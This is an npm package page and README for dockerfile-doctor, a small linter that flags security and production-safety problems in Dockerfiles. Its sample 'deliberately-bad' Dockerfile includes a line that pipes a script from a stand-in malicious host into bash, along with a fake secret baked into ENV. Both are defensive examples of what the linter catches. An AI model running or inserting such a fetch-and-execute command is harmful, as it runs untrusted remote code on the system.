@yixi/dockerfile-doctor
v1.0.1
Published
Lint a Dockerfile for production-safety and security issues. Zero dependencies, runs in <100ms. From the Claude Operator family.
Downloads
295
Maintainers
Readme
dockerfile-doctor
Lint a Dockerfile for production-safety and security issues. Zero dependencies. Free standalone tool.
dockerfile-doctor is a small, focused linter for Dockerfiles. It catches the issues that cause production incidents:
- Runs as root (no USER directive, or USER root)
- Build-time secrets (
ENV API_KEY=...baked into layers) - Unverified remote scripts (
curl | sh) - Cache-defeating layer order (
COPY .before install) - Mutable tags (
FROM node:latest) - Missing HEALTHCHECK / WORKDIR
- EXPOSE on service ports (22, 3306, 5432, 6379, 27017, 9200)
apt-get installwithout--no-install-recommendsADDwith a URL (no integrity check)
Runs in <100 ms even on large Dockerfiles. No telemetry. No signups. Zero dependencies.
Install
# global
npm install -g @yixi/dockerfile-doctor
# or just run without install
npx @yixi/dockerfile-doctorUse
# Default — looks for ./Dockerfile, ./dockerfile, ./docker/Dockerfile, ./deploy/Dockerfile
dockerfile-doctor
# A specific Dockerfile
dockerfile-doctor path/to/Dockerfile
# Multiple files
dockerfile-doctor Dockerfile docker/Dockerfile.prod
# Machine-readable JSON
dockerfile-doctor --jsonExit codes
| Code | Meaning | |---|---| | 0 | Clean, or only LOW findings | | 1 | MEDIUM findings | | 2 | CRITICAL or HIGH findings |
Use in CI as a hard gate:
# .github/workflows/ci.yml
- name: Lint Dockerfile
run: npx -y @yixi/dockerfile-doctorSample output
Given a deliberately-bad Dockerfile:
FROM node:latest
COPY . /app
RUN npm install
RUN curl https://malicious.com/install.sh | bash
ENV API_KEY=sk-real-secret-here
EXPOSE 22
EXPOSE 3000
CMD ["node", "/app/server.js"]Output:
[CRITICAL] Line 4 — curl | sh — executes unverified remote script
[CRITICAL] Line 5 — ENV sets a secret-shaped variable at build time
[CRITICAL] Line 8 — no USER directive (runs as root)
[HIGH] Line 1 — FROM uses ':latest' tag — non-reproducible builds
[HIGH] Line 3 — install step runs AFTER a COPY of source — layer cache defeated
[HIGH] Line 6 — EXPOSE 22 — port for SSH in what looks like an app container
[HIGH] Line 8 — no HEALTHCHECK directive
[MEDIUM] Line 1 — no WORKDIR directive
[MEDIUM] Line 1 — single-stage build with a non-slim toolchain image
[MEDIUM] Line 2 — COPY . copies the entire build context
[LOW] Line 3 — npm install does not exclude devDependencies
Summary: CRITICAL: 3, HIGH: 4, MEDIUM: 3, LOW: 1What it doesn't check
- It doesn't run the build. For CVE scanning of base images, use trivy or grype.
- It doesn't enforce style preferences (uppercase keywords, comment placement).
- It doesn't lint
docker-compose.ymlor Kubernetes manifests — those are separate tools.
Comparison to hadolint
hadolint is the established Dockerfile linter. dockerfile-doctor is smaller in scope and opinionated about production-safety specifically.
| | hadolint | dockerfile-doctor | |---|---|---| | Total rules | 100+ | ~25 | | Focus | comprehensive lint | production safety | | Install | Haskell runtime | Node 18+ | | Speed | <50 ms | <100 ms | | Auto-fix | no | no |
Use hadolint for full lint coverage. Use dockerfile-doctor when you want a small, ruthless production-safety gate in CI.
Origin
This is a free standalone tool from the same author as Claude Operator — a production-grade CLAUDE.md and skill pack for senior engineering teams using Claude Code. The Dockerfile checks here are a rewrite of one skill from the paid pack as a no-LLM static analyzer.
The full pack adds 17 more skills (with LLM-aware versions of code review, security audit, n+1 detection, migration safety, bundle size analysis, etc.), 3 subagents, 3 slash commands, and a hooks config — $27 with a 7-day refund.
Sister tools
Part of a small family of zero-dependency static-analysis CLIs:
@yixi/dockerfile-doctor— this tool@yixi/env-doctor—.envdrift + committed-secret detector@yixi/token-doctor— local Claude Code spend analyzer
License
MIT.
Contributing
Small PRs welcome. Each new rule must include:
- A unit test showing the rule fires on the intended bad pattern.
- A unit test showing the rule does NOT fire on a reasonable good pattern.
- Severity justification — CRITICAL is reserved for "exploitable now or imminent incident."
PRs that would be closed:
- Auto-fix (we report; you decide)
- Web UI (out of scope)
- Hundreds of style rules (use hadolint for that)
